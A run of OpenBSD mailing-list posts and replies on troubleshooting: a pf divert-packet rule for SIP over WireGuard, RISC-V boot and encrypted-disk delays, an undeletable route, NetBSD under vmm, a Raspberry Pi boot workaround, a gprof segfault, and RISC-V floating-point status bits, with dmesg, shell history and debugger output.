has no sshd but rather is controlled on console.
Re: odd pf divert-packet problem
On 2/7/24 20:15, Janne Johansson wrote: pass in log quick on wg1 inet proto udp from 192.168.178.1 to any port = 5060 sc rub (reassemble tcp) divert-packet port 2 The mix of udp and tcp reassembly seems interesting there. Hi Janne, Yeah it does, but it is added on both stern (which works) and superpod (which doesn't). Since this is not such a big problem I'm gonna rest on it, and perhaps move the divert'ing entirely to stern. The reason being is that the incoming SIP packets are not fragmented, as they are not really (or ever) big enough. So my phone setup works on SDP'ing outgoing SIP packets. In other works there is no way to remove the reassemble tcp scrub option as it's not in my rules to begin with. Best Regards, -peter PS: excuse any formatting problem I'm doing this on thunderbird.
odd pf divert-packet problem
Hi,
I have two hosts bounded by a wireguard: superpod(7.4/arm64) and
stern (snapshot of today/riscv64).
I have utilized a program that I rewrote yesterday and this morning that I
call sipdiv, because it reads SIP signalling off a divert socket.
The code is publically available since today:
https://github.com/pbug44/misc/tree/main/sipdiv
I'm running into problems with the 7.4 host (superpod). It doesn't read off
the divert socket for some reason and I want to show the pf rules to start
for this. Perhaps you can find the problem immediately.
superpod# ps auxww|grep sipdiv
root 14841 0.0 0.0 248 516 ?? Ip 10:38AM0:00.00 sipdiv -c
root 76341 0.0 0.0 204 384 p4 R+/17:36PM0:00.00 grep sipdiv
superpod# fstat -p 14841
USER CMD PID FD MOUNTINUM MODE R/WSZ|DV
root sipdiv 14841 text /usr/local77788 -r-xr-xr-x r17944
root sipdiv 14841 wd / 2 drwxr-xr-x r 512
root sipdiv 14841 tr /home 942651 -rw---rw 64
root sipdiv 148410 / 52857 crw-rw-rw-rw null
root sipdiv 148411 / 52857 crw-rw-rw-rw null
root sipdiv 148412 / 52857 crw-rw-rw-rw null
root sipdiv 148413* internet raw divert 0xff800b0d1818
So you see descriptor "tr" which has a ktrace.out file of 64 bytes and it's
not growing. And there is no compacting being done by this proxy, it boggles
me.
Now the pf rules are very simple in their structure. I'm not going to list the
anchors because it's a quick rule at the beginning that should match.
superpod# pfctl -srules
block return log all
pass all flags S/SA
block return in on ! lo0 proto tcp from any to any port 6000:6010
block return out log proto tcp all user = 55
block return out log proto udp all user = 55
pass in log quick on wg1 inet proto udp from 192.168.178.1 to any port = 5060 sc
rub (reassemble tcp) divert-packet port 2
anchor "esp" all
anchor "nat6" all
...
... and so on.
Since this is a quick rule I'd think it would be caught the very first time,
but it doesn't. It gets skipped.
I have cleared the states with this logic:
superpod# history 1|grep awk
381 pfctl -ss -vv|grep -A2 192\.168\.178\.1 | grep id | awk '{print $2}'
382 pfctl -ss -vv|grep -A2 192\.168\.178\.1 | grep id | awk '{print $2}' |
while read i ; do pfctl -k id -k $i; done
I'm at the end of wits here. Any help? dmesg follows:
The other host (stern) has a similar rule and it works no complaints.
Best Regards,
-peter
OpenBSD 7.4 (GENERIC.MP) #2: Fri Dec 8 15:42:08 MST 2023
r...@syspatch-74-arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP
real mem = 4185800704 (3991MB)
avail mem = 3976454144 (3792MB)
random: good seed from bootblocks
mainbus0 at root: ACPI
psci0 at mainbus0: PSCI 1.0, SMCCC 1.1
efi0 at mainbus0: UEFI 2.7
efi0: EDK II rev 0x1
smbios0 at efi0: SMBIOS 3.0.0
smbios0: vendor Hetzner version "2017" date 11/11/2017
smbios0: Hetzner vServer
cpu0 at mainbus0 mpidr 0: ARM Neoverse N1 r3p1
cpu0: 64KB 64b/line 4-way L1 PIPT I-cache, 64KB 64b/line 4-way L1 D-cache
cpu0: 1024KB 64b/line 8-way L2 cache
cpu0:
DP,RDM,Atomic,CRC32,SHA2,SHA1,AES+PMULL,LRCPC,DPB,ASID16,PAN+ATS1E1,LO,HPDS,VH,HAFDBS,CSV3,CSV2,SBSS+MSR
cpu1 at mainbus0 mpidr 1: ARM Neoverse N1 r3p1
cpu1: 64KB 64b/line 4-way L1 PIPT I-cache, 64KB 64b/line 4-way L1 D-cache
cpu1: 1024KB 64b/line 8-way L2 cache
cpu1:
DP,RDM,Atomic,CRC32,SHA2,SHA1,AES+PMULL,LRCPC,DPB,ASID16,PAN+ATS1E1,LO,HPDS,VH,HAFDBS,CSV3,CSV2,SBSS+MSR
apm0 at mainbus0
agintc0 at mainbus0 shift 4:4 nirq 288 nredist 2 ipi: 0, 1, 2:
"interrupt-controller"
agintcmsi0 at agintc0
agtimer0 at mainbus0: 25000 kHz
acpi0 at mainbus0: ACPI 5.1
acpi0: sleep states
acpi0: tables DSDT FACP APIC GTDT MCFG SPCR DBG2 IORT BGRT
acpi0: wakeup devices
acpimcfg0 at acpi0
acpimcfg0: addr 0x401000, bus 0-255
acpiiort0 at acpi0
"ACPI0007" at acpi0 not configured
"ACPI0007" at acpi0 not configured
pluart0 at acpi0 COM0 addr 0x900/0x1000 irq 33
pluart0: console
"LNRO0015" at acpi0 not configured
"LNRO0015" at acpi0 not configured
"QEMU0002" at acpi0 not configured
"LNRO0005" at acpi0 not configured
"LNRO0005" at acpi0 not configured
"LNRO0005" at acpi0 not configured
"LNRO0005" at acpi0 not configured
"LNRO0005" at acpi0 not configured
"LNRO0005" at acpi0 not configured
"LNRO0005" at acpi0 not configured
"LNRO0005" at acpi0 not configured
"LNRO0005" at acpi0 not configured
"LNRO0005" at acpi0 not configured
"LNRO0005" at acpi0 not configured
"LNRO0005" at acpi0 not configured
"LNRO0005" at acpi0 not configured
Re: BOOTRISCV64.EFI and crypted passphrase
On 2/4/24 14:36, Klemens Nanni wrote: On Sun, Feb 04, 2024 at 01:58:17PM +0100, Peter J. Philipp wrote: Hi, I just reinstalled a host and noticed the following two conditions: 1. BOOTRISCV64.EFI does not get installed on the outer (non-sr0) partition i. in the installer. This means I cannot boot without booting from a different image and fixing it. It was a one time thing but it is a bit of a waste of time? Quite a surprise, I'm quite sure riscv64 was tested on real hardware when disk encryption support landed in the installer. MD installer code also reads the same between arm64 and riscv64, both EFI platforms share identical installboot(8) usage and code. I don't have a riscv64 (or arm64) machine at hand, but they really ought to work. 2. After entering the crypted passphrase one can enter load commands at boot: pressing enter causes a long delay for some reason on a RISCV64 qemu on an amd64 vps running windows. It takes a lot longer than non-encrypted to load the bootblocks (which makes sense though its long) in "booting sr0a:/bsd:this\" and I'm guessing there is something in the offloading that is really slow. Once the kernel is booted there is 5% more CPU usage on the windows host probably due to the softraid crypto. As I wrote this entire email this is still in 'this\' we're looking at 9 minutes or so so far. Also during those 9 min, the CPU on the host OS (windows) is at 100% which is weird because afaik the BOOTRISCV64.EFI is not multithreaded (smp?). After 14 minutes it finally continued loading the second block (symbols?) this seems excessive. I have attached a screenshot on what I really mean. Have you tried real hardware? I don't quite trust QEMU and/or Windows to properly emulate riscv64. Does regress/usr.sbin/installboot/ pass in your VM? Here it does: http://bluhm.genua.de/regress/results/2024-02-03T16%3A17%3A05Z/logs/usr.sbin/installboot/make.log OK this is something I'll do in the future. Also it looks like in a few weeks I have another riscv64 hardware available, I can test it on there. Thanks! -peter (from thunderbird MUA) -- Over thirty years experience on UNIX-like Operating Systems starting with QNX.
BOOTRISCV64.EFI and crypted passphrase
Hi, I just reinstalled a host and noticed the following two conditions: 1. BOOTRISCV64.EFI does not get installed on the outer (non-sr0) partition i. in the installer. This means I cannot boot without booting from a different image and fixing it. It was a one time thing but it is a bit of a waste of time? 2. After entering the crypted passphrase one can enter load commands at boot: pressing enter causes a long delay for some reason on a RISCV64 qemu on an amd64 vps running windows. It takes a lot longer than non-encrypted to load the bootblocks (which makes sense though its long) in "booting sr0a:/bsd:this\" and I'm guessing there is something in the offloading that is really slow. Once the kernel is booted there is 5% more CPU usage on the windows host probably due to the softraid crypto. As I wrote this entire email this is still in 'this\' we're looking at 9 minutes or so so far. Also during those 9 min, the CPU on the host OS (windows) is at 100% which is weird because afaik the BOOTRISCV64.EFI is not multithreaded (smp?). After 14 minutes it finally continued loading the second block (symbols?) this seems excessive. I have attached a screenshot on what I really mean. dmesg follows: OpenBSD 7.4-current (GENERIC.MP) #473: Tue Jan 30 06:55:55 MST 2024 dera...@riscv64.openbsd.org:/usr/src/sys/arch/riscv64/compile/GENERIC.MP real mem = 2147483648 (2048MB) avail mem = 2023960576 (1930MB) SBI: OpenSBI v1.2, SBI Specification Version 1.0 random: good seed from bootblocks mainbus0 at root: riscv-virtio,qemu cpu0 at mainbus0: vendor 0 arch 0 imp 0 rv64imafdch_zicbom_zicboz_zicntrv\M-7[\M^P\M-+\M-WoI\M-pP\M-# intc0 at cpu0 cpu1 at mainbus0: vendor 0 arch 0 imp 0 rv64imafdch_zicbom_zicboz_zicntrv\M-7[\M^P\M-+\M-WoI syscon0 at mainbus0: "poweroff" syscon1 at mainbus0: "reboot" simplebus0 at mainbus0: "platform-bus" "pmu" at mainbus0 not configured "fw-cfg" at mainbus0 not configured "flash" at mainbus0 not configured simplebus1 at mainbus0: "soc" syscon2 at simplebus1: "test" plic0 at simplebus1 gfrtc0 at simplebus1 com0 at simplebus1: ns16550, no working fifo com0: console pciecam0 at simplebus1 pci0 at pciecam0 "Red Hat Host" rev 0x00 at pci0 dev 0 function 0 not configured virtio0 at simplebus1: Virtio Network Device vio0 at virtio0: address 52:54:00:12:34:56 virtio1 at simplebus1: Virtio Block Device vioblk0 at virtio1 scsibus0 at vioblk0: 1 targets sd0 at scsibus0 targ 0 lun 0: sd0: 8192MB, 512 bytes/sector, 16777216 sectors virtio2 at simplebus1: Virtio Block Device vioblk1 at virtio2 scsibus1 at vioblk1: 1 targets sd1 at scsibus1 targ 0 lun 0: sd1: 8192MB, 512 bytes/sector, 16777216 sectors virtio3 at simplebus1: Virtio Unknown (0) Device virtio4 at simplebus1: Virtio Unknown (0) Device virtio5 at simplebus1: Virtio Unknown (0) Device virtio6 at simplebus1: Virtio Unknown (0) Device virtio7 at simplebus1: Virtio Unknown (0) Device "clint" at simplebus1 not configured vscsi0 at root scsibus2 at vscsi0: 256 targets softraid0 at root scsibus3 at softraid0: 256 targets sd2 at scsibus3 targ 1 lun 0: sd2: 8159MB, 512 bytes/sector, 16711152 sectors root on sd2a (78574edc31b04e33.a) swap on sd2b dump on sd2b Best Regards, -peter
routing (null) interface as dest / how to delete?
Hi, I messed something up playing with routes: superpod# netstat -nrfinet ... 192.168.178/24 link#20LS 0 25 - 8 (null) superpod# route delete -net 192.168.178/24 delete net 192.168.178/24: not in table Here is the series of commands from my history that caused this: 135 ifconfig wg 136 route add 192.168.178.0/24 192.168.174.1 137 route add 192.168.178.0/24 -link -iface wg1 138 ping 192.168.178.54 139 telnet 192.168.178.54 80 140 vi /etc/pf.conf 141 pfctl -f /etc/pf.conf 142 ping 192.168.178.54 143 netstat -nrfinet | more 144 ping 192.168.178.34 145 bg 146 tcpdump -v -n -i wg1 147 vi /etc/hostname.wg1 148 sh /etc/netstart wg1 149 ifconfig wg1 150 ping 192.168.178.34 151 pfctl -ss | grep 174 152 tcpdump -v -n -i wg1 153 vi /etc/pf.conf 154 pfctl -f /etc/pf.conf 155 tcpdump -v -n -i wg1 156 netstat -nrfinet | grep 174 157 netstat -nrfinet | more 158 ifconfig wg1 159 fg 160 ping -V25 192.168.178.34 161 ifconfig wg1 rdomain 0 162 ping 192.168.178.34 163 tcpdump -v -n -i pflog0 & 164 ping 192.168.178.34 165 fg 166 tcpdump -v -n -e -i pflog0 & 167 ping 192.168.178.34 168 netstat -rfinet | more 169 fg 170 vi /etc/hostname.wg0 171 ifconfig wg0 destroy 172 sh /etc/netstart wg0 173 ls 174 ping 192.168.178.34 175 ifconfig wg1 176 ping 192.168.174.1 177 ping 192.168.174.2 178 ping 192.168.177.1 179 netstat -nrfinet 180 route add 192.168.174.0/24 -link -iface wg1 181 netstat -nrfinet 182 ifconfig wg1 destroy 183 netstat -nrfinet 184 route delete 192.168.178.0/24 185 route delete -net 192.168.178.0/24 186 netstat -nrfinet 187 vi /etc/hostname.wg1 188 man route 189 vi /etc/hostname.wg1 190 sh /etc/netstart wg1 191 netstat -nrfinet 192 vi /etc/hostname.wg1 193 ifconfig wg1 destroy 194 sh /etc/netstart wg1 195 netstat -nrfinet 196 route delete -inet 192.168.178/24 -link -iface 0 197 route delete -inet 192.168.178/24 -link -iface wg1 198 route delete -inet 192.168.178/24 -link -iface (null) 199 man reoute 200 man route 201 route delete -net 192.168.178.0/24 -ifp 20 202 netstat -nrfinet 203 ifconfig 204 route delete -net 192.168.178.0/24 -ifp 23 205 route delete -net 192.168.178.0/24 -ifp 22 206 route delete -net 192.168.178.0/24 -ifp 20 207 route delete -net 192.168.178.0/24 -ifp 19 208 route delete -net 192.168.178.0/24 -ifp 0 209 route delete -net 192.168.178.0/24 -ifp -1 210 netstat -nrfinet 211 route delete -net 192.168.178.0/24 -link -ifn 20 212 route delete -net 192.168.178.0/24 -link -if 20 213 route delete -net 192.168.178.0/24 -link -ifp 20 Best Regards, -peter
vmm question, bug?
Hi! Yesterday, I was for the last 6 hours or so, trying to get netbsd running in vmm. What I used was netbsd 10.0 RC2 and here is how I went about it: 1. upon vmm start press 2 at console this brings one into a boot config 2. enter "consdev com0,9600" to initialize com0 console 3. boot -cav 4. in the kernel config "disable tpm" I found this is helpful continuing on past com0 5. after this point the symptoms are similar for NFS diskless booting or letting it boot on the .img file, one enters the root filesystem and eventually the path to init [/sbin/init] and then vmd kills the vmm. Here is what it says on its debug (vmd -dvvv): vm/netbsd: vcpu_process_com_lcr: set baudrate = 9600 vm/netbsd: vcpu_exit_eptviolation: fault already handled vm/netbsd: vcpu_exit_eptviolation: fault already handled vm/netbsd: vcpu_exit_eptviolation: fault already handled vm/netbsd: vcpu_exit_eptviolation: fault already handled vm/netbsd: vm/netbsd: vcpu_exit_inout: can't emulate REP prefixed IN(S)/OUT(S) vm/netbsd/vionet0: handle_sync_io: pipe dead (EV_READ) vm/netbsd/vionet0: dev_dispatch_vm: pipe dead (EV_READ) vm/netbsd/vioblk0: handle_sync_io: vioblk pipe dead (EV_READ) vm/netbsd/vioblk0: dev_dispatch_vm: pipe dead (EV_READ) vmm: vmm_sighdlr: handling signal 20 vmm: vmm_sighdlr: terminated vm netbsd (id 3) I think the clue here is the "can't emulate REP prefixed IN(S)/OUT(S)".. I don't know asm too well but is this a limitation with the "rep" opcode? My vmm console looks like this: ---> 2.2978862] crypto: driver 0 registers alg 22 flags 0 maxoplen 0 [ 2.2978862] swwdog0: software watchdog initialized [ 2.3137243] WARNING: 1 error while detecting hardware; check system log. [ 2.3137243] boot device: ld0 [ 2.3137243] root device (default dk1): vioif0 [ 4.6983828] dump device: [ 5.2377099] file system (default generic): nfs [ 6.4505124] root on vioif0 [ 6.4523019] nfs_boot: trying DHCP/BOOTP [ 68.2946438] nfs_boot: timeout... [ 85.4568907] nfs_boot: timeout... [ 87.1923785] nfs_boot: DHCP next-server: 172.16.88.1 [ 87.1923785] nfs_boot: my_domain=mainrechner.de [ 87.1923785] nfs_boot: my_addr=172.16.88.3 [ 87.1923785] nfs_boot: my_mask=255.255.255.0 [ 87.1923785] nfs_boot: gateway=172.16.88.1 [ 128.4226631] root on 172.16.88.1:/netbsd [ 128.4226631] kern.module.path=/stand/amd64/10.0/modules [ 128.4294984] init path (default /sbin/init): [ 129.1605695] init: trying /sbin/init [EOT] <--- It always dies on execve'ing /sbin/init... I tried to investigate this to the best I could, as I'm starting to doing beta testing of my software (delphinusdnsd), but I guess I'll have to recover a hyper-v netbsd image. Best Regards, -peter PS: if this is simply not working for anyone just say it please. -- Over thirty years experience on UNIX-like Operating Systems starting with QNX.
raspberry pi 4b with OpenBSD/arm64 needs workaround to boot
Hi, I have found that chmod'ing /sbin/savecore and /usr/sbin/acpidump to 0, is a workaround for making the following kernel boot which I sysupgraded earlier today. It took me a long time to fix it because I'm so out of practice on this stuff. Thank you! The symptoms are that it forever hangs on acpidump in /etc/rc. Best Regards, -peter OpenBSD 7.4-current (GENERIC.MP) #34: Wed Dec 27 16:43:50 MST 2023 dera...@arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP real mem = 8432803840 (8042MB) avail mem = 8131739648 (7755MB) random: good seed from bootblocks mainbus0 at root: ACPI psci0 at mainbus0: PSCI 1.1, SMCCC 1.2 efi0 at mainbus0: UEFI 2.7 efi0: https://github.com/pftf/RPi4 rev 0x1 smbios0 at efi0: SMBIOS 3.3.0 smbios0: vendor https://github.com/pftf/RPi4 version "UEFI Firmware v1.21" date 11/13/2020 smbios0: Raspberry Pi Foundation Raspberry Pi 4 Model B cpu0 at mainbus0 mpidr 0: ARM Cortex-A72 r0p3 cpu0: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache cpu0: 1024KB 64b/line 16-way L2 cache cpu0: CRC32,ASID16 cpu1 at mainbus0 mpidr 1: ARM Cortex-A72 r0p3 cpu1: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache cpu1: 1024KB 64b/line 16-way L2 cache cpu1: CRC32,ASID16 cpu2 at mainbus0 mpidr 2: ARM Cortex-A72 r0p3 cpu2: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache cpu2: 1024KB 64b/line 16-way L2 cache cpu2: CRC32,ASID16 cpu3 at mainbus0 mpidr 3: ARM Cortex-A72 r0p3 cpu3: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache cpu3: 1024KB 64b/line 16-way L2 cache cpu3: CRC32,ASID16 apm0 at mainbus0 ampintc0 at mainbus0 nirq 256, ncpu 4 ipi: 0, 1, 2: "interrupt-controller" agtimer0 at mainbus0: 54000 kHz acpi0 at mainbus0: ACPI 6.3 acpi0: sleep states acpi0: tables DSDT FACP CSRT DBG2 GTDT IORT APIC PPTT SSDT BGRT acpi0: wakeup devices acpiiort0 at acpi0 "BCM2849" at acpi0 not configured "BCM2835" at acpi0 not configured "BCM2854" at acpi0 not configured "ACPI0004" at acpi0 not configured xhci0 at acpi0 XHC0 addr 0x6/0x1000 irq 175, xHCI 1.0 usb0 at xhci0: USB revision 3.0 uhub0 at usb0 configuration 1 interface 0 "Generic xHCI root hub" rev 3.00/1.00 addr 1 "ACPI0007" at acpi0 not configured "ACPI0007" at acpi0 not configured "ACPI0007" at acpi0 not configured "ACPI0007" at acpi0 not configured "ACPI0004" at acpi0 not configured "BCM2848" at acpi0 not configured "BCM2850" at acpi0 not configured "BCM2856" at acpi0 not configured "BCM2845" at acpi0 not configured "BCM2841" at acpi0 not configured "BCM2841" at acpi0 not configured "BCM2838" at acpi0 not configured "BCM2839" at acpi0 not configured "BCM2844" at acpi0 not configured pluart0 at acpi0 URT0 addr 0xfe201000/0x1000 irq 153 "BCM2836" at acpi0 not configured "BCM2EA6" at acpi0 not configured "MSFT8000" at acpi0 not configured sdhc0 at acpi0 SDC1 addr 0xfe30/0x100 irq 158 sdhc0: base clock frequency unknown "BCM2855" at acpi0 not configured bse0 at acpi0 ETH0 addr 0xfd58/0x1 irq 189: address dc:a6:32:cc:db:a7 brgphy0 at bse0 phy 1: BCM54210E 10/100/1000baseT PHY, rev. 2 "PNP0C06" at acpi0 not configured "PNP0C0B" at acpi0 not configured acpitz0 at acpi0: critical temperature is 90 degC acpipwrres0 at acpi0: PFAN, resource for FAN0 simplefb0 at mainbus0: 1920x1080, 32bpp wsdisplay0 at simplefb0 mux 1: console (std, vt100 emulation) wsdisplay0: screen 1-5 added (std, vt100 emulation) uhub1 at uhub0 port 1 configuration 1 interface 0 "VIA Labs USB2.0 Hub" rev 2.10/4.21 addr 2 uhidev0 at uhub1 port 3 configuration 1 interface 0 "American Power Conversion Back-UPS CS 650 FW:817.v9.I USB FW:v9" rev 1.10/0.06 addr 3 uhidev0: iclass 3/0, 98 report ids upd0 at uhidev0 uhid0 at uhidev0 reportid 1: input=0, output=0, feature=1 uhid1 at uhidev0 reportid 2: input=0, output=0, feature=1 uhid2 at uhidev0 reportid 3: input=0, output=0, feature=1 uhid3 at uhidev0 reportid 4: input=0, output=0, feature=1 uhid4 at uhidev0 reportid 5: input=0, output=0, feature=1 uhid5 at uhidev0 reportid 6: input=0, output=0, feature=2 uhid6 at uhidev0 reportid 8: input=0, output=0, feature=2 uhid7 at uhidev0 reportid 9: input=0, output=0, feature=2 uhid8 at uhidev0 reportid 10: input=0, output=0, feature=2 uhid9 at uhidev0 reportid 11: input=0, output=0, feature=2 uhid10 at uhidev0 reportid 12: input=1, output=0, feature=1 uhid11 at uhidev0 reportid 13: input=2, output=0, feature=2 uhid12 at uhidev0 reportid 14: input=0, output=0, feature=2 uhid13 at uhidev0 reportid 15: input=0, output=0, feature=1 uhid14 at uhidev0 reportid 16: input=0, output=0, feature=2 uhid15 at uhidev0 reportid 17: input=0, output=0, feature=1 uhid16 at uhidev0 reportid 18: input=0, output=0, feature=2 uhid17 at uhidev0 reportid 19: input=0, output=0, feature=3 uhid18 at uhidev0 reportid 20: input=0, output=0, feature=1 uhid19 at uhidev0 reportid 21: input=0, output=0, feature=2 uhid20 at uhidev0 reportid 22: input=1, output=0, feature=1 uhid21 at uhidev0 reportid 23: input=0, output=0,
Re: Is gprof not working? (maybe syscall)
On 2023-11-23 06:13, Theo Buehler wrote:
On Thu, Nov 23, 2023 at 06:04:42AM -0700, j...@bitminer.ca wrote:
SYNOPSIS: using -pg with cc results in segfault
CATEGORY: system
ENVIRONMENT:
System : OpenBSD 7.4
Details : OpenBSD 7.4-current (GENERIC) #1399: Wed Nov 22
08:12:44 MST 2023
dera...@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC
Architecture: OpenBSD.amd64
Machine : amd64
DESCRIPTION:
Is gprof and related compiler switches expected to work?
Or, in reading the backtrace, is there an issue with issetugid?
Or, is this some syscall issue (see end of dmesg)?
HOW-TO-REPEAT:
$ cat m.c
#include
#include
int
main() {
printf("m.c PI is %f\n", M_PI);
}
$ cc -o m.x m.c -lm
$ ./m.x
m.c PI is 3.141593
$ cc -o m.x -pg m.c -lm
I forget what the explanation was that you run into the issetugid()
in ld.so, but the workaround is to link statically.
Right, this one
https://marc.info/?l=openbsd-bugs=168111266409055=2
I should have searched a little harder...thanks for the tip.
J
$ ./m.x
Segmentation fault
Is gprof not working? (maybe syscall)
SYNOPSIS: using -pg with cc results in segfault
CATEGORY: system
ENVIRONMENT:
System : OpenBSD 7.4
Details : OpenBSD 7.4-current (GENERIC) #1399: Wed Nov 22
08:12:44 MST 2023
dera...@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC
Architecture: OpenBSD.amd64
Machine : amd64
DESCRIPTION:
Is gprof and related compiler switches expected to work?
Or, in reading the backtrace, is there an issue with issetugid?
Or, is this some syscall issue (see end of dmesg)?
HOW-TO-REPEAT:
$ cat m.c
#include
#include
int
main() {
printf("m.c PI is %f\n", M_PI);
}
$ cc -o m.x m.c -lm
$ ./m.x
m.c PI is 3.141593
$ cc -o m.x -pg m.c -lm
$ ./m.x
Segmentation fault
$ egdb -se=m.x
GNU gdb (GDB) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
<http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-unknown-openbsd7.4".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from m.x...
(gdb) run
Starting program: /home/j/rnums/m.x
Program received signal SIGSEGV, Segmentation fault.
issetugid () at /tmp/-:2
2 /tmp/-: No such file or directory.
(gdb) bt
#0 issetugid () at /tmp/-:2
#1 0xedb40a3fe8c37d01 in ?? ()
#2 0x00217b1c in _libc_preinit (argc=,
argv=, envp=, cb=0x2a1f7bd10
<_dl_cb_cb>)
at /usr/src/lib/libc/dlfcn/init.c:128
#3 0x0002a1f77658 in _dl_call_preinit (object=0x23c006000)
at /usr/src/libexec/ld.so/loader.c:812
#4 _dl_boot (argv=0x71f26696af68, envp=,
dyn_loff=11307266048,
dl_data=0x71f26696aed0) at /usr/src/libexec/ld.so/loader.c:729
#5 0x0002a1f76366 in _dl_start () at
/usr/src/libexec/ld.so/amd64/ldasm.S:61
#6 0x in ?? ()
(gdb)
dmesg:
OpenBSD 7.4-current (GENERIC) #1399: Wed Nov 22 08:12:44 MST 2023
dera...@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC
real mem = 8573091840 (8175MB)
avail mem = 8293748736 (7909MB)
random: good seed from bootblocks
mpath0 at root
scsibus0 at mpath0: 256 targets
mainbus0 at root
bios0 at mainbus0: SMBIOS rev. 2.5 @ 0xe1000 (10 entries)
bios0: vendor innotek GmbH version "VirtualBox" date 12/01/2006
bios0: innotek GmbH VirtualBox
acpi0 at bios0: ACPI 4.0
acpi0: sleep states S0 S5
acpi0: tables DSDT FACP APIC SSDT
acpi0: wakeup devices
acpitimer0 at acpi0: 3579545 Hz, 32 bits
acpimadt0 at acpi0 addr 0xfee0: PC-AT compat
cpu0 at mainbus0: apid 0 (boot processor)
cpu0: AMD Ryzen 7 PRO 3700 8-Core Processor, 3600.21 MHz, 17-71-00,
patch 06000626
cpu0:
FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLU
SH,MMX,FXSR,SSE,SSE2,HTT,SSE3,PCLMUL,SSSE3,CX16,SSE4.1,SSE4.2,MOVBE,POPCNT,AES,XSA
VE,AVX,RDRAND,NXE,MMXX,FFXSR,RDTSCP,LONG,LAHF,CMPLEG,SVM,AMCR8,ABM,SSE4A,MASSE,3DN
OWP,ITSC,FSGSBASE,AVX2,RDSEED,CLFLUSHOPT,SSBDNR
cpu0: 32KB 64b/line 8-way D-cache, 32KB 64b/line 8-way I-cache
cpu0: 512KB 64b/line 8-way L2 cache
cpu0: smt 0, core 0, package 0
mtrr: CPU supports MTRRs but not enabled by BIOS
cpu0: apic clock running at 1000MHz
cpu at mainbus0: not configured
cpu at mainbus0: not configured
cpu at mainbus0: not configured
ioapic0 at mainbus0: apid 4 pa 0xfec0, version 20, 24 pins, remapped
acpiprt0 at acpi0: bus 0 (PCI0)
acpipci0 at acpi0 PCI0: 0x 0x0011 0x0001
acpiac0 at acpi0: AC unit online
acpicpu0 at acpi0: C1(@1 halt!)
acpivideo0 at acpi0: GFX0
pci0 at mainbus0 bus 0
pchb0 at pci0 dev 0 function 0 "Intel 82441FX" rev 0x02
pcib0 at pci0 dev 1 function 0 "Intel 82371SB ISA" rev 0x00
pciide0 at pci0 dev 1 function 1 "Intel 82371AB IDE" rev 0x01: DMA,
channel 0 conf
igured to compatibility, channel 1 configured to compatibility
wd0 at pciide0 channel 0 drive 0:
wd0: 128-sector PIO, LBA, 97642MB, 199970816 sectors
wd0(pciide0:0:0): using PIO mode 4, Ultra-DMA mode 2
pciide0: channel 1 disabled (no drives)
vga1 at pci0 dev 2 function 0 "VMware SVGA II" rev 0x00
wsdisplay0 at vga1 mux 1: console (80x25, vt100 emulation)
wsdisplay0: screen 1-5 added (80x25, vt100 emulation)
em0 at pci0 dev 3 function 0 "Intel 82540EM" rev 0x02: apic 4 int 19,
address 08:0
0:27:9a:72:5e
"InnoTek Guest Service" rev 0x00 at pci0 dev 4 function 0 not configured
auich0 at pci0 dev 5 function 0 "Intel 82801AA AC97" rev 0x01: apic 4
int 21, ICH ac97: codec id 0x83847600
FS bit on sstatus csr set on riscv64
Hi,
I don't know if it's the same on Sifive based CPU's but on the D1
(doesn't boot beyond main() yet) the FS bits are set. These are floating
point indicators, and I thought these should be off? In my debugs I have
found this:
10100111 p
80026100
that is the respective binary and hex register that the CSR gave on my D1.
I have turned this off in locore.S by unsetting the bits in CSR. it's
just 2 instructions more.
Please have a look in page 39 of this RISCV-privileged (2021) document:
https://mainrechner.de/riscv-privileged-20211203.pdf
It is the same bit offset in mstatus and sstatus.
On the D1 after the CPU is reset the FP bits go back to 0, meaning that on
its depressive boot-life the FS bits have been turned on.
to check this I would add a debugging printf high in pmap_bootstrap() that
looks like so:
status = csr_read(sstatus);
printf("sstatus: %lX\n", status);
Principally I can do this too but it would take me some time changing source
trees and recompiling.
To turn floating point off, I have set this in locore.S:
/* turn off any possible FP bits set */
li t0, SSTATUS_FS_MASK
csrcsstatus, t0
under the pagetable END.
Best Regards,
-peter
PS: If you would like me to keep D1 stuff to myself without relaying findings
back to you let me know. I know we don't use floating point code
in the kernel whatsoever. Am I wrong?
--
Over thirty years experience on Unix-like Operating Systems starting with QNX.
Re: RISCV - physmem is an address not pages in locore.S
On Sun, Sep 17, 2023 at 04:51:11PM +0200, Peter J. Philipp wrote: > On Sun, Sep 17, 2023 at 04:22:14PM +0200, Mark Kettenis wrote: > > > Date: Sun, 17 Sep 2023 12:40:29 +0200 > > > From: "Peter J. Philipp" > > > > Sorry Peter, > > > > But this doesn't make any sense to me. Your C code is just as > > unreadable as the assembly code ;) > > Yeah it should be torn out and replaced. I have some replacemnent code > if you're willing to touch it with a 10 foot stick. Only.. it doesn't > work (yet) and I haven't gotten the idea yet as to why. FYI, I have finished my work on making a generic asm function for page tables in locore.S, it may be overkill though but could be handy for the future. I've committed it to my MANGOPI branch and if you like it you can steal it. I don't expect this to be in OpenBSD if you don't like it ;). https://github.com/pbug44/openbsd-src/commit/b3a1c1206ddc7769233f00f0f5c1780666b78682 BTW I'm not an asm pro. I'm a newbie having only started with asm much since 2019 on powerpc. So I'm willing to share that this took me 10 days to get to where it is today, though not all days I was working on it, but close. I also refactored it completely about 3 or 4 times. Best Regards, -peter
